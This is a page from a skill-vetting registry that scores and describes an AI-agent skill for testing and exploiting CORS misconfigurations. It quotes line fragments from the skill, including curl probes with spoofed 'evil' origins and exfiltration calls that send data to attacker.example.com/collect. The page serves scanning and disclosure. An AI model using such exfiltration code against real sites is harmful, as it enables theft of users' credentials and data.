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testing-cors-misconfiguration
77 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By plurigrid/asi (GitHub) · coding · 72 stars · scanned at commit 293ce9f
Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: evil.com, evil.target.example.com, target.example.com.evil.com, eviltarget.example.com, target.example.com, target.example.com%60.evil.com, api.target.example.com, attacker.example.com
This is disclosed by the author in the skill's SKILL.md or README.
Found in 20 places.
Show 17 more
- plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 73
curl -s -I -H "Origin: null" \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 77
curl -s -I -H "Origin: https://evil.target.example.com" \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 81
curl -s -I -H "Origin: https://target.example.com.evil.com" \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 84
curl -s -I -H "Origin: https://eviltarget.example.com" \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 88
curl -s -I -H "Origin: http://target.example.com" \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 92
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 96
curl -s -I -H "Origin: https://evil.com" \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 107
curl -s -I -X OPTIONS \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 119
curl -s -I -X OPTIONS \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 126
curl -s -I -X OPTIONS \ - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 147
var xhr = new XMLHttpRequest(); - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 154
var exfil = new XMLHttpRequest(); - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 171
fetch('https://api.target.example.com/api/user/profile', { - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 177
fetch('https://attacker.example.com/collect', { - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 203
var xhr = new XMLHttpRequest(); - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 206
fetch('https://attacker.example.com/collect', { - plugins/asi/skills/testing-cors-misconfiguration/SKILL.md, line 243
curl -s -I -H "Origin: $origin" \
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 4 places.
Show 1 more
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'testing-cors-misconfiguration' ] || [ -L ~/.agents/skills/'testing-cors-misconfiguration' ]; then echo 'A skill folder named testing-cors-misconfiguration already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/plurigrid/asi' "$d" && git -C "$d" checkout --quiet '293ce9f76e3abcd5ba18db284688bc0d9ac6691d' -- 'plugins/asi/skills/testing-cors-misconfiguration' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/asi/skills/testing-cors-misconfiguration' ~/.agents/skills/'testing-cors-misconfiguration' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'testing-cors-misconfiguration' ~/.claude/skills/'testing-cors-misconfiguration' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for plurigrid/asi shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/plurigrid/asi/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | 293ce9f | 77 |